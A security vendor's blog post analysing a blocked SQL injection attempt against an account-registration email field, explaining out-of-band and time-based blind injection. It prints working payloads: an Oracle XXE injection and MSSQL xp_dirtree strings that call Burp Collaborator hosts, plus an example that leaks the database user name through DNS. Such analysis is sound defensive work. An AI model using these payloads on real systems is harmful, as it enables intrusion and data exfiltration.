The Tale of Little Bobby Tables

OK, this post is not about Little Bobby Tables but if you are familiar with the xkcd comic “Exploits of a Mom,” then you might be aware of some of the potential impacts of SQL injection attacks. In fact, injection is currently number one on the Open Web Application Security Project (OWASP) Top 10, so it’s understandably a serious concern for anyone running a web application.As a data scientist for Shape’s Threat Analytics team, I have the opportunity to deep dive into automation for a lot of different customers. I see plenty of interesting things all the time, from crazy malformed user agents to advanced use of Selenium WebDriver, but the highlight of my findings so far is an attempted SQL injection attack identified in new account creation traffic. In this post, we will take a closer look at what was going on with this attack, and how it was effectively mitigated by Shape.

The Very Basics of a SQL Injection Attack

Before we get too far into the details, I want to provide a brief overview of what a SQL injection attack is. This attack consists of inserting SQL queries in input fields for a web application, where a successful attack gets the application to actually run those queries. The queries themselves can be designed to accomplish a number of different things, including reading sensitive data, modifying data, or even issuing commands to the operating system. In this attack, the email field for account registration was used as the input field, and the attacker tried to execute a couple of different queries. With the stage set, let’s dive into some of the details.

A Bold Opening

The very first thing the attacker put in the email field was:

(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % mszjb SYSTEM "http://u507udddw0qiohrvcju5jq5cf3lyk285wxjn7c.burpcollab'||'orator.net/">%mszjb;]>'),'/l') from dual)

What I like about this first play is that they didn’t even bother putting in an email address, and just went straight to the heart of the matter. There’s a few different things going on in this command, so we will take them part by part.First thing we will notice is that this query is trying to do something with XML. In fact, they are trying to execute a SQL injection to XML External Entity (XXE) attack, which makes sense because CVE 2014-6577 specifically describes this vulnerability for Oracle databases [1,2]. In an XXE attack, an attacker takes advantage of a special external entity for XML, the SYSTEM external entity, which lets you specify any URI to replace the contents of a declared entity. In this command, the attacker has declared “mszjb” as a SYSTEM entity, and they want to replace it with “http://u507udddw0qiohrvcju5jq5cf3lyk285wxjn7c[.]burpcollab'||'orator[.]net/.”For an Oracle database, “||” is a string concatenation operator. If we put the string together, we see the full URI is “http://u507udddw0qiohrvcju5jq5cf3lyk285wxjn7c[.]burpcollaborator[.]net/,” which is a Burp Collaborator payload. Burp Collaborator is used to identify many different types of web application vulnerabilities [3]. To summarize what’s happening in this command, the attacker is using SQL injection for an XXE attack that will run Burp Collaborator and help them find additional weaknesses for exploitation. As I said previously, quite a bold opening!

If at first you don't succeed...

Sadly for the attacker, this first attempt did not go as planned, so they essentially tried to do the exact same thing but bothered with an email address first (a Mailinator email address, which alone might seem a little suspicious since normal users don’t typically use a disposable email address when creating new accounts) [4]. This second attempt also did not work, so they tried something new for the next several attempts:

emailaddress;declare @q varchar(99);set @q='\\9nxmcsvsef8x6w9auyck15nrxi3d2hq8gw8jy7n.burpcollab'+'orator.net\chd'; exec master.dbo.xp_dirtree @q;-- 
emailaddress';declare @q varchar(99);set @q='\\jviwk232mpg7e6hk28ku9fv15sbnaryip6ht7hw.burpcollab'+'orator.net\zhf'; exec master.dbo.xp_dirtree @q;-- 
emailaddress);declare @q varchar(99);set @q='\\unl7cdvde08i6h9vujc51qncx33y22qtiha40sp.burpcollab'+'orator.net\ghv'; exec master.dbo.xp_dirtree @q;-- 
emailaddress');declare @q varchar(99);set @q='\\87dlwrfryeswqvt9exwjl47qhhncmga73vvil6a.burpcollab'+'orator.net\ejb'; exec master.dbo.xp_dirtree @q;--

Now, the attacker is doing something quite different in these queries. First, they are attempting to use a stored procedure “xp_dirtree,” which specifically applies to Microsoft SQL servers. As the classic saying goes, “If at first your SQLi doesn’t succeed, change your database assumptions.” The xp_dirtree stored procedure attempts to list all of the folders in a directory. In these commands, they have created a variable to store a domain of absolutenonsense[.]burpcollaborator[.]net. Note that they are again breaking up the domain, but using the “+” operator, which is a string concatenation operator for Microsoft SQL. In order for the xp_dirtree procedure to list all the folders for absolutenonsense[.]burpcollaborator[.]net, it needs to resolve this domain so it will make a DNS lookup.Assuming the attacker controls the authoritative name server for absolutenonsense[.]burpcollaborator[.]net, they can see this request in their DNS logs. This approach is an example of an Out of Band (OOB) technique. OOB techniques are useful when the page response content is not useful in indicating whether the server is vulnerable to SQL injection. Just because the response content doesn’t change, does not mean that the server is not vulnerable and executing the SQL commands. OOB approaches provide an attacker with another method of determining vulnerabilities, and they’re considered “blind injection” approaches because they don’t rely on assessing the page output.

When OOB methods are successful, you can easily exfiltrate data by putting it in the subdomain, meaning the attacker could do something like:

declare @q varchar(99);set @q='\\'+user_name()+'87dlwrfryeswqvt9exwjl47qhhncmga73vvil6a.burpcollab'+'orator.net\ejb'; exec master.dbo.xp_dirtree @q;--

and find a request for “database-user-name[.]87dlwrfryeswqvt9exwjl47qhhncmga73vvil6a[.]burpcollaborator[.]net” in their DNS logs. Quite a convenient (and quick, compared to other options) method to exfiltrate data!

You might have noticed that after the email address, they try a number of different things before the query: “;”, “‘;”, “);”, and “‘);”. They are not seeing any DNS requests, so they may suspect it’s because their query isn’t getting appended correctly in order to run. They are making these changes in order to see if that results in the query running successfully. Of course, none of these changes matter because Shape is blocking all of this traffic but they don’t know that!

Time Works Wonders

This attacker turned out to be pretty persistent so they continued trying a few other things to test whether the server was vulnerable. I won’t go into full detail here, but the interesting final tactic employed was another type of blind injection categorized as time-based. As I mentioned previously, the attacker isn’t able to get any useful information in the response content, and their OOB experimentation didn’t yield any fruitful results.Time-based methods are another way of testing a server for SQL injection vulnerability by simply timing the server’s responses. They’re not necessarily ideal, because unstable servers might interfere with the validity of timing results, but they can nonetheless be effective approaches. For time-based approaches, attackers will use functions like sleep or waitfor (of course selecting the right varietal of these functions for the specific database) in order to induce server delays.Timing results for commands that should cause delays can therefore be used to confirm whether the server is vulnerable to SQL injection. Better yet, when used in conjunction with conditional statements, you can methodically work your way through various information retrieval tasks, like guessing table names, or number of columns, or even user passwords. Slow and steady wins the vulnerability-determination race, as they say.

Wrapping Up

If you’re thinking that using a time-based approach seems like quite a daunting undertaking to get all of this information, you would be right. In fact, you might even be thinking that the whole process of trying this many injection approaches could be pretty laborious. Fortunately, there are tools like SQLmap openly available for use that help you automate this process [5]. And identifying automation is our specialty here at Shape.Typically, network-level defenses like Web Application Firewalls (WAFs) are quite good at identifying SQL injection attacks. As clearly indicated in this story though, these network defenses can sometimes miss an attack and fail to block that trafficIn this case, Shape was able to detect the automated nature of this attack and block all of the traffic. As the old saying goes, “Give an attacker an input field and they’re going to want to perform SQLi.” When Shape is in place behind your WAF, you will have a second layer of defense against these automated injection attacks.